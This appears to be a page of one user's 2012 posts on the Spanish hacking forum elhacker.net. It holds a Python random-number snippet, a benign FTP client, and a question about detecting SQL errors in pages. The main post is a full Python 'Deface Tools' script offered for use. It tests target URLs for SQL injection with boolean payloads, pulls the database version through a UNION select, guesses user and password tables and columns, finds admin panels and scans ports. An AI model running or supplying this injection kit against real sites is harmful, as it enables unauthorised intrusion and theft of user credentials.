elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20]
191  Programación / Scripting / Re: Es dificil o imposible? en: 20 Marzo 2012, 14:36 pm
En python sería algo así:

import random
y = 0

while y<4:
   x = random.randint(0,20)
   print x,
   y +=1

Con esto te servirá, en ocasiones se repetirá el número pero puedes ir ejecutándolo hasta que salgan los 4 diferentes.

No he tenido tiempo a más, porque me tengo que ir al instituto xd, si no te sirve, esta tarde te escribo el otro o si tienes prisa que te ayude mi compañero EleKtro H@cker :)

Un saludo :)
192  Programación / Scripting / Deface Tools By Rune en: 17 Marzo 2012, 19:23 pm
La siguiente herramienta es un compendio de tools utilizadas en deface.
El programa consta de las siguientes características:
  
    ----> Admin Panel Finder
    ----> Check Vulnerability
    ----> Ascii To Hex
    ----> Ascii To Binary
    ----> Show Tables
    ----> Show Columns
    ----> Show Version DB
    ----> Port Scanner
    ----> View Web Code

Recuerdo que el programa no es sustituto de nuestras manos :) y solo sirve para inyecciones que salgan redondas, sin necesidad de modificar algún carácter o cualquier detalle mínimo.

Dejo aquí el code :)

Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # Autor: Rune
  4. # Fecha: 17/03/12
  5. #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  6. #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  7.  
  8. import urllib,os,string
  9.  
  10.  
  11. def check_ports(): #Funcion de escaneo de puertos
  12. print """  
  13.  _____            _      _____                                    
  14. |  __ \         | |    / ____|                                  
  15. | |__) |___  _ __| |_  | (___   ___  __ _ _ __  _ __   ___ _ __  
  16. |  ___// _ \| '__| __|  \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__|  
  17. | |   | (_) | |  | |_   ____) | (__| (_| | | | | | | |  __/ |    
  18. |_|    \___/|_|   \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_|     """
  19.  
  20. tablapuertos = []
  21. errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"]
  22. print "\n\n [+] Port Scanner [+]"
  23. print "\n[+] Introduce la web objetivo"
  24. target = raw_input("\nTarget>")
  25. print "\n[+] Escaneando puertos, puede llevar varios minutos..."
  26. print "\n[+] Puertos escaneados:\n"
  27. for puerto in range(0,65535): # Rango de 0, al total de puertos existente
  28. try:
  29. x = urllib.urlopen(target+":"+str(puerto))
  30. for error in errores:
  31. if error in x.read():
  32. tablapuertos.append(puerto)
  33. print "Puerto " + str(puerto)
  34. except:
  35. print "[-] No se ha podido establecer conexion con el servidor"
  36. raw_input()
  37. os.system("clear")
  38. init()
  39. if string.join(tablapuertos) == "":
  40. print "[-] No se ha encontrado abierto ningun puerto"
  41. raw_input()
  42. os.system("clear")
  43. init()
  44. else:
  45. print "\n [+] Puertos Abiertos [+]\n"
  46. for elemento in tablapuertos:
  47. print "----> " + elemento
  48.  
  49. def show_version(): # Funcion Mostrar Version
  50. print """
  51.   _____ _                    __      __            _            
  52.  / ____| |                   \ \   / /           (_)            
  53. | (___ | |__   _____      __  \ \ / /___ _ __ ___ _  ___  _ __  
  54.  \___ \| '_ \ / _ \ \ /\ / /   \ \/ // _ \ '__/ __| |/ _ \| '_ \
  55.  ____) | | | | (_) \ V  V /     \ /|  __/ |  \__ \ | (_) | | | |
  56. |_____/|_| |_|\___/ \_/\_/       \/  \___|_|  |___/_|\___/|_| |_|
  57.                                                                  """
  58. print "\n\n [+] Show Version [+]"
  59. tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"]
  60. # Tablaversiones contiene todas las versiones de MySql hasta la actualidad
  61. print "\n[+] Introduce la web objetivo"
  62. version = ""
  63. web = raw_input("Target>")
  64. inyeccion = web + " and 1=0 union select @@version"
  65. try:
  66. t = urllib.urlopen(inyeccion).read()
  67. for versionx in tablaversiones:
  68. if versionx in t:
  69. version = version + versionx
  70. if version != "":
  71. print "\n[+] La version del servidor SQL es --> " + version
  72. raw_input()
  73. os.system("clear")
  74. init()
  75. else:
  76. print "\n[-] No se ha podido indentificar la version"
  77. raw_input()
  78. os.system("clear")
  79. init()
  80. except:
  81. print "\n[-] No se ha podido realizar la inyeccion, compruebe la url"
  82. raw_input()
  83. os.system("clear")
  84. init()
  85.  
  86. def show_columns2(): # Funcion Muestra columnas redireccionada desde init()
  87. print """  
  88.   _____ __                     ______       __                          
  89.  / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
  90.  \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
  91. ___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
  92. /____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
  93. print "\n\n [+] Show Columns [+]"
  94. columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
  95. # Las columnas mas frecuentes con informacion importante ;)
  96. column = [] # Lista donde se guardaran las columnas encontradas
  97. print "\n[+] Inserte la web objetivo"
  98. web = raw_input("Target>")
  99. try:
  100. s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
  101. except:
  102. print "\n[-] No se ha podido conectar con el servidor"
  103. raw_input()
  104. os.system("clear")
  105. init()
  106. print "\n [/] Inserte la tabla que desea investigar"
  107. table = raw_input(">")
  108. for elemento in columnas:
  109. inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
  110. x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
  111. if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
  112. column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column
  113. if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
  114. print "\n\n [+] Columnas Encontradas [+] "
  115. for elementoxs in column:
  116. print "----> " + elementoxs #Las muestra
  117. raw_input()
  118. os.system("clear")
  119. init()
  120. else: # Si la lista esta vacia, columnas 0
  121. print "\n\n [-] No se ha encontrado ninguna columna de usuario"
  122. raw_input()
  123. os.system("clear")
  124. init()
  125.  
  126.  
  127.  
  128. def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables()
  129. print """  
  130.   _____ __                     ______       __                          
  131.  / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
  132.  \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
  133. ___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
  134. /____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
  135. print "\n\n [+] Show Columns [+]"
  136. columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
  137. # Las columnas mas frecuentes con informacion importante ;)
  138. column = [] # Lista donde se guardaran las columnas encontradas
  139. print "\n [+] Tablas [+]"
  140. for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario
  141. print "----> " + el
  142. try:
  143. s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
  144. except:
  145. print "\n[-] No se ha podido conectar con el servidor"
  146. raw_input()
  147. os.system("clear")
  148. init()
  149. print "\n [/] Inserte la tabla que desea investigar"
  150. table = raw_input(">")
  151. for elemento in columnas:
  152. inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
  153. x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
  154. if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
  155. column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column
  156. if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
  157. print "\n\n [+] Columnas Encontradas [+] "
  158. for elementoxs in column:
  159. print "----> " + elementoxs # Las muestra
  160. raw_input()
  161. os.system("clear")
  162. init()
  163. else: # Si la lista esta vacia, columnas 0
  164. print "\n\n [-] No se ha encontrado ninguna columna de usuario"
  165. raw_input()
  166. os.system("clear")
  167. init()
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174. def view_code():
  175. print """
  176.   _____           _       __      ___              
  177.  / ____|         | |      \ \   / (_)              
  178. | |      ___   __| | ___   \ \ / / _  _____      __
  179. | |     / _ \ / _` |/ _ \  \ \/ / | |/ _ \ \ /\ / /
  180. | |____| (_) | (_| |  __/    \ /  | |  __/\ V  V /
  181.  \_____|\___/ \__,_|\___|     \/   |_|\___| \_/\_/  
  182.                                                     """
  183. print "\n\n [+] View Code [+]"
  184. print "\n[+] Inserte la url de la web"
  185. print "[+] El codigo tambien se guardara en un archivo"
  186. url = raw_input("\nTarget>") # Introducimos la web objetivo
  187. try:
  188. x = urllib.urlopen(url).read() # Abrimos la web en modo lectura
  189. except:
  190. print "\n[-] La url no es valida"
  191. raw_input()
  192. os.system("clear")
  193. init()
  194. print x
  195. web = url.replace("/","")  # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo
  196. f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt
  197. f.write(x) # Escribimos el codigo sobre el
  198. f.close() # Y cerramos
  199. print "\n[+] Pulse cualquier tecla para volver..."
  200. raw_input()
  201. os.system("clear")
  202. init()
  203.  
  204.  
  205.  
  206. def vuln2(web): # Funcion de chequeo de vulnerabilidades 2
  207. print """  
  208. _    __       __                       __    _ ___ __      
  209. | |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
  210. | | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
  211. | |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
  212. |___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
  213.                                                    /____/ """
  214.  
  215. print "\n\n [+] Check Vulnerability [+]"
  216. print "\n[+] Relizando un segundo escaneo..."
  217. errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"]
  218. variable = 0
  219. inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final
  220. try:
  221. vulnerable = urllib.urlopen(inyeccion) # Abrimos la web
  222. for error in errores:
  223. if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable
  224. variable = variable + 1
  225.  
  226. if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable
  227. print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad"
  228. raw_input()
  229. os.system("clear")
  230. init()
  231.  
  232. else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable
  233. print "\n[-] Definitivamente la web no es vulnerable"
  234. raw_input()
  235. os.system("clear")
  236. init()
  237. except:
  238. print " [-] Error en la comprobacion reeintente"
  239. raw_input()
  240. os.system("clear")
  241. init()
  242.  
  243.  
  244. def show_tables(): # Funcion Muestra Tablas
  245. print """
  246.   _____ __                     ______       __    __          
  247.  / ___// /_  ____ _      __   /_  __/____ _/ /_  / /___  _____
  248.  \__ \/ __ \/ __ \ | /| / /    / /  / __ `/ __ \/ // _ \/ ___/
  249. ___/ / / / / /_/ / |/ |/ /    / /  / /_/ / /_/ / //  __(__  )
  250. /____/_/ /_/\____/|__/|__/    /_/   \__,_/_.___/_/ \___/____/ """
  251. print "\n\n [+] Show Tables [+]"
  252. tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"]
  253. # Tablas de usuarios mas frecuentes ;)
  254. tabla = [] # Lista vacia para almacenar las tablas encontradas
  255. web = raw_input("\n\n[/]Target>")
  256. print "[+] Localizando tablas de usuarios..."
  257. try:
  258. s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura
  259. except:
  260. print "[-] No se ha podido conectar al servidor, revise la url"
  261. raw_input()
  262. os.system("clear")
  263. init()
  264. for elemento in tablas:
  265. inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion
  266. try:
  267. t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura
  268. except:
  269. print "\n[-] No se ha podido realizar la inyeccion"
  270. raw_input()
  271. os.system("clear")
  272. init()
  273. if t == s: # Si el codigo no varia, la tabla es la que buscabamos
  274. tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia
  275. print "\n\n [+] Tablas Encontradas [+] "
  276. for el1 in tabla: # Y aqui las imprimimos
  277. print "---> " + el1
  278. print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1()
  279. print "0 ----> Si"
  280. print "1 ----> No"
  281. lecc = input("\n>")
  282. if lecc == 0:
  283. os.system("clear")
  284. show_columns1(web,tabla)
  285. else:
  286. os.system("clear")
  287. init()
  288.  
  289.  
  290.  
  291. def textTobin(): # Funcion encargada de convertir ascii a binario
  292. print """
  293.  ___           _ _   _____      ______ _      
  294. / _ \        (_|_) |_   _|     | ___ (_)      
  295. / /_\ \___  ___ _ _    | | ___   | |_/ /_ _ __  
  296. |  _  / __|/ __| | |   | |/ _ \ | ___ \ | '_ \
  297. | | | \__ \ (__| | |   | | (_) | | |_/ / | | | |
  298. \_| |_/___/\___|_|_|   \_/\___/  \____/|_|_| |_|"""
  299.  
  300. print "\n\n [+] Ascii To Bin [+]"
  301. bina = ''
  302. textoa = raw_input("\n\n[/] Texto Ascii>")
  303. print "\n[+] Conversion [+]"
  304. for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos
  305. bina = bina + bin(ord(letra))
  306. bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco
  307. print bina
  308. raw_input()
  309. os.system("clear")
  310. init()
  311.  
  312. def textTohex(): # Funcion encargada de convertir ascii a hexadecimal
  313. print """
  314.  ______            __     ______          __  __          
  315. /_  __/___   _  __/ /_   /_  __/____     / / / /___   _  __
  316.  / /  / _ \ | |/_/ __/    / /  / __ \  / /_/ // _ \ | |/_/
  317. / /  /  __/_>  </ /_     / /  / /_/ /  / __  //  __/_>  <  
  318. /_/   \___//_/|_|\__/    /_/   \____/  /_/ /_/ \___//_/|_|"""
  319. print "\n\n [+] Ascii To Hex [+]"
  320. textoa = raw_input("\n\n[/]Texto Ascii>")
  321. hexa = ''
  322. print "\n[+] Conversion [+]"
  323. for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos
  324. hexa = hexa + hex(ord(letra))
  325. hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero
  326. print hexa
  327. raw_input()
  328. os.system("clear")
  329. init()
  330.  
  331. def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL
  332. print """  
  333. _    __       __                       __    _ ___ __      
  334. | |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
  335. | | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
  336. | |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
  337. |___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
  338.                                                    /____/ """
  339.  
  340. print "\n\n [+] Check Vulnerability [+]"
  341. web = raw_input("\n\n[/]Target>")
  342. print "\n[+] Comprobando vulnerabilidad"
  343. comando1 = " and 1=1" # Comandos de la inyeccion 1
  344. comando2 = " and 1=0" # Comandos de la inyeccion 2
  345. try:
  346. # Abrimos las diferentes urls, para compararlas posteriormente
  347. n = urllib.urlopen(web).read()
  348. p = urllib.urlopen(web+comando1).read()
  349. t = urllib.urlopen(web+comando2).read()
  350. if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable
  351. print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion"
  352. raw_input()
  353. os.system("clear")
  354. init()
  355. else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo
  356. print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?"
  357. print "\n0---->Si"
  358. print "1---->No"
  359. eleccion = input("\n>")
  360. if eleccion == 0:
  361. os.system("clear")
  362. vuln2(web)
  363. else:
  364. raw_input()
  365. os.system("clear")
  366. init()
  367.  
  368. except:
  369. print "[-] No se ha podido conectar al servidor, revise la Url"
  370. raw_input()
  371. os.system("clear")
  372. init()
  373.  
  374. def buscaPanel(): # Funcion que localizara el admin panel
  375. print """  
  376.    ____                   __   _______            __          
  377.   / __ \____ _____  ___  / /  / ____(_)____  ____/ /___  _____
  378.  / /_/ / __ `/ __ \/ _ \/ /  / /_  / // __ \/ __  // _ \/ ___/
  379. / ____/ /_/ / / / /  __/ /  / __/ / // / / / /_/ //  __/ /    
  380. /_/    \__,_/_/ /_/\___/_/  /_/   /_//_/ /_/\__,_/ \___/_/    
  381.                                                               """
  382. print "\n\n [+] Admin Panel Finder [+]"
  383. s = raw_input("\n\n[/]Target>")  # Introducimos la web a investigar
  384. f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes
  385. tabla =[]
  386. i = 0
  387. try:
  388. p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web
  389. print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos"
  390. for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel
  391. t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel
  392. if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version"
  393. tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados
  394. print "\n [+] Paneles encontrados:\n"
  395. for x in tabla:
  396. print s + x # Y aqui los muestra
  397. raw_input()
  398. os.system("clear")
  399. init()
  400. except:
  401. print "[-] Ningun Panel Encontrado / Web invalida"
  402. raw_input()
  403. os.system("clear")
  404. init()
  405. def init():
  406. print """  
  407.    ____       ____                    __              __    
  408.   / __ \___  / __/____ _________     / /_____  ____  / /_____
  409.  / / / / _ \/ /_ / __ `/ ___/ _ \  / __/ __ \/ __ \/ // ___/
  410. / /_/ /  __/ __// /_/ / /__/  __/  / /_/ /_/ / /_/ / /(__  )
  411. /_____/\___/_/   \__,_/\___/\___/   \__/\____/\____/_//____/ """
  412. print "\n\n [+] Menu Principal[+]\n "
  413. print "0------> Admin Panel Finder"
  414. print "1------> Check Vulnerability"
  415. print "2------> Ascii To Hex"
  416. print "3------> Ascii To Binary"
  417. print "4------> Show Tables"
  418. print "5------> Show Columns"
  419. print "6------> Show Version DB"
  420. print "7------> Port Scanner"
  421. print "8------> View Web Code\n"
  422. eleccion = input("[/] Que desea hacer?>")
  423. if eleccion == 0:
  424. os.system("clear")
  425. buscaPanel()
  426. elif eleccion == 1:
  427. os.system("clear")
  428. check_vuln()
  429. elif eleccion == 2:
  430. os.system("clear")
  431. textTohex()
  432. elif eleccion == 3:
  433. os.system("clear")
  434. textTobin()
  435. elif eleccion == 4:
  436. os.system("clear")
  437. show_tables()
  438. elif eleccion == 5:
  439. os.system("clear")
  440. show_columns2()
  441. elif eleccion == 6:
  442. os.system("clear")
  443. show_version()
  444. elif eleccion == 7:
  445. os.system("clear")
  446. check_ports()
  447. elif eleccion == 8:
  448. os.system("clear")
  449. view_code()
  450. else:
  451. print "[-] El numero introducido no es valido"
  452. raw_input()
  453. os.system("clear")
  454. init()
  455. init()
  456.  
  457. # The End!
  458.  


Y eso es todo compañeros, espero que sea de vuestro agrado, hay algunos errores, pero generalmente funciona bien.
En posteriores versiones implementaré la opción de extraer datos de las columnas :)

Un saludo :)

193  Programación / Scripting / FTP Client Python By Rune en: 17 Marzo 2012, 15:02 pm
Posteo un programa que acabe hace un tiempo y quería mostrarlo, contribuyendo a la comunidad :).

Se trata de un cliente ftp, que permite investigar los directorios, subir y descargar archivos, sin interfaz gráfica pero considero, que sigue siendo un entorno bastante amigable :)

Aquí os dejo el código:
Código
  1. #!/usr/bin/env python
  2. import ftplib,os
  3.  
  4.  
  5. def darchivos(f): # Funcion encargada de descargar archivos del servidor
  6. eleccion = "SI"
  7.  
  8.  
  9. while eleccion != "NO" and eleccion == "SI":
  10. try:
  11. os.system("clear")
  12. print " [+] Panel de Descargas [+]\n"
  13. print "[+] Directorios y Archivos\n  "
  14. for x in f.nlst():
  15. print x
  16. print " \n  [/]Inserte el nombre del archivo a descargar"
  17. archivoserv = raw_input("Nombre>")
  18.  
  19. print "\n[+]Ahora inserte el nombre del archivo para guardar en su sistema"
  20. archivodir = raw_input("Nombre>")
  21. t = open(archivodir,"wb")
  22. print "Descargando..."
  23. f.retrbinary('RETR %s' %archivoserv,t.write)
  24. print "[+]!Descarga completada con exito!"
  25. print "[/] Quiere seguir descargando?"
  26. eleccion = raw_input("Si o No?")
  27. eleccion = eleccion.upper()
  28. if eleccion == 'NO':
  29. print "Pulse cualquier tecla para salir"
  30. raw_input()
  31. f.quit()
  32. f.close()
  33. if eleccion != 'NO' and eleccion != 'SI':
  34. print "[-] Eleccion no valida"
  35. raw_input()
  36. darchivos(f)
  37. except:
  38. print "[-]No se ha podido descargar el archivo, compruebe la insercion del nombre y la validez del archivo"
  39. raw_input()
  40. os.system("clear")
  41. for p in f.nlst():
  42. print p
  43. darchivos(f)
  44.  
  45.  
  46. def archivos(f): # Funcion encargada de subir archivos al servidor
  47.  
  48. eleccion = 'SI'
  49. while eleccion == 'SI' and eleccion != 'NO':
  50. try:
  51. os.system("clear")
  52. print " [+] Panel de Subidas [+]\n"
  53. print "[+] Directorios y Archivos\n  "
  54. for sp in f.nlst():
  55. print sp
  56. print "\n[+] Inserte el nombre del archivo a subir junto con su directorio"
  57. archivo_origen = raw_input("Nombre>")
  58. t = open(archivo_origen,'rb')
  59. except:
  60. print "[-] Error,el archivo no existe,retornando"
  61. raw_input()
  62. os.system("clear")
  63. archivos(f)
  64. print "\n[+] Inserte ahora el nombre que tomara el archivo en el servidor"
  65. archivo_destino = raw_input("Nombre>")
  66. try:
  67. f.storbinary('STOR %s' %archivo_destino,t)
  68. print "[+] Subida completada con exito!"
  69. print "[/] Quiere seguir descargando?"
  70. eleccion = raw_input("Si o No?")
  71. eleccion = eleccion.upper()
  72. if eleccion == 'NO':
  73. print "Pulse cualquier tecla para salir"
  74. raw_input()
  75. f.quit()
  76. f.close()
  77. if eleccion != 'NO' and eleccion != 'SI':
  78. print "[-] Eleccion no valida"
  79. raw_input()
  80. archivos(f)
  81.  
  82. f.quit()
  83. f.close()
  84. except:
  85. print "[-] No se ha podido subir el archivo, retornando"
  86. raw_input()
  87. os.system("clear")
  88. archivos(f)
  89.  
  90.  
  91. def mostrar_directorios(f): # Funcion que recorre los directorios del servidor
  92.  
  93. try:
  94. os.system("clear")
  95. print "[+] Directorios y Arhivos\n"
  96. for x in f.nlst():
  97. print x
  98. print "\n[/] Elija directorio"
  99. directorio = raw_input("Directorio>")
  100. f.cwd(directorio)
  101. os.system("clear")
  102. except:
  103. print "[-] El directorio introducido no es valido retornando"
  104. raw_input()
  105. os.system("clear")
  106. f.quit()
  107. f.close()
  108. main()
  109.  
  110. print "[+] Directorios y Archivos ",directorio,"\n\n"
  111. for x in f.nlst():
  112. print x
  113. print "\n[/] Desea investigar otro directorio?"
  114. eleccion = raw_input("Si o No?>")
  115. eleccion = eleccion.upper()
  116. if eleccion == 'SI':
  117. while eleccion == 'SI':
  118. try:
  119. print "[/] Elija Directorio:"
  120. directoriox = raw_input("Directorio>")
  121. f.cwd(directoriox)
  122. os.system("clear")
  123. print "[+] Directorios y Archivos  ",directoriox,"\n\n"
  124. for s in f.nlst():
  125. print s
  126. except:
  127. print "[-] El nombre introducido no existe o no es un directorio,retornando"
  128. raw_input()
  129. os.system("clear")
  130. main()
  131.  
  132. print "\n[/] Desea investigar otro directorio?"
  133. eleccion = raw_input("Si o No?>")
  134. eleccion = eleccion.upper()
  135. if eleccion == 'NO':
  136. print "\n[+] Que funcion quiere llevar a cabo?"
  137. print "--> Subir Archivos (Subir)"
  138. print "--> Descargar Archivos (Descargar)"
  139. eleccion3 = raw_input("Eleccion>")
  140. eleccion3 = eleccion3.upper()
  141. if eleccion3 == "SUBIR":
  142. archivos(f)
  143. elif eleccion3 == "DESCARGAR":
  144. darchivos(f)
  145. else:
  146. print "[-] El valor introducido no es valido"
  147. raw_input()
  148. os.system("clear")
  149. f.quit()
  150. f.close()
  151. main()
  152. elif eleccion != 'SI' and eleccion != 'NO':
  153. print "[-] No es una opcion valida, retornando"
  154. raw_input()
  155. os.system("clear")
  156. f.quit()
  157. f.close()
  158. main()
  159. elif eleccion == 'NO':
  160. print "\n[/] Que funcion quiere llevar a cabo?"
  161. print "--> Subir Archivos (Subir)"
  162. print "--> Descargar Archivos (Descargar)"
  163. eleccion3 = raw_input("Eleccion>")
  164. eleccion3 = eleccion3.upper()
  165. if eleccion3 == "SUBIR":
  166. archivos(f)
  167. elif eleccion3 == "DESCARGAR":
  168. darchivos(f)
  169. else:
  170. print "[-] El valor introducido no es valido"
  171. raw_input()
  172. os.system("clear")
  173. f.quit()
  174. f.close()
  175. main()
  176.  
  177. else:
  178. print "[-] El valor introducido no es valido"
  179. raw_input()
  180. os.system("clear")
  181. f.quit()
  182. f.close()
  183. main()
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191. def entrarFtp(web): # Funcion encargada de conectar al servidor dando user y pass
  192. try:
  193. f = ftplib.FTP(web)
  194. print "\n"+f.getwelcome()
  195. except:
  196.  
  197. print "[-] El servidor es incorrecto, retornando"
  198. raw_input()
  199. os.system("clear")
  200. main()
  201. try:
  202. user = raw_input("User>")
  203. pasd = raw_input("Pass>")
  204. f.login(user,pasd)
  205. mostrar_directorios(f)
  206.  
  207.  
  208. except:
  209.  
  210. print "[-] El user o la pass es incorrecto"
  211. raw_input()
  212. os.system("clear")
  213. f.quit()
  214. f.close()
  215. main()
  216.  
  217.  
  218.  
  219. def main(): # Funcion Principal Main
  220. print """
  221. _____ ______ ____          __ _     ____   ___ ____  ______
  222. |     |      |    \       /  ] |   |    | /  _]    \|      |
  223. |   __|      |  o  )      /  /| |    |  | /  [_|  _  |      |
  224. |  |_ |_|  |_|   _/      /  / | |___ |  ||    _]  |  |_|  |_|
  225. |   _]  |  | |  |       /   \_|     ||  ||   [_|  |  | |  |  
  226. |  |    |  | |  |       \    |     ||  ||     |  |  | |  |  
  227. |__|    |__| |__|        \____|_____|____|_____|__|__| |__|  
  228.  
  229.  
  230. ____  __ __      ____  __ __ ____    ___
  231. |    \|  |  |    |    \|  |  |    \ /  _]
  232. |  o  )  |  |    |  D  )  |  |  _  |/  [_
  233. |     |  ~  |    |    /|  |  |  |  |    _]
  234. |  O  |___, |    |    \|  :  |  |  |   [_
  235. |     |     |    |  .  \    |  |  |     |
  236. |_____|____/     |__|\_|\__,_|__|__|_____|
  237.      """
  238. print "[/]Introduzca el servidor ftp"
  239. web = raw_input("FTP>")
  240. entrarFtp(web)
  241.  
  242. main()
  243.  

Un saludo :)
194  Programación / Scripting / Error Urllib Python en: 17 Marzo 2012, 14:45 pm
Buenas bros! :)

Tengo un problema con el siguiente codigo:

print "\n\n         
  • Check Vulnerability
  • "
   print "\n
  • Relizando un segundo escaneo..."
   inyeccion = web + "'"
   vulnerable = urllib.urlopen(inyeccion).read()
   if "Warning" in vulnerable and "Sql" in vulnerable:
      print "\n[-] En este escaneo, la web se ha mostrado vulnerable, sin embargo, este segundo          escaneo no es muy fiable"
      raw_input()
      os.system("clear")
      init()   
   else:
      print "\n[-] Definitivamente la web no es vulnerable"
      raw_input()
      os.system("clear")
      init()

El problema es que aunque se ingrese una web que se muestre vulnerable al añadirle comillas simples al final de la url, el programa no lo reconoce.

Supongo que el problema estará en que el código no consigue encontrar las cadenas en la lectura del codigo fuente, es decir en esta linea del condicional:

---> if "Warning" in vulnerable and "Sql" in vulnerable:

¿Alguien tiene alguna idea?
Gracias :)
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines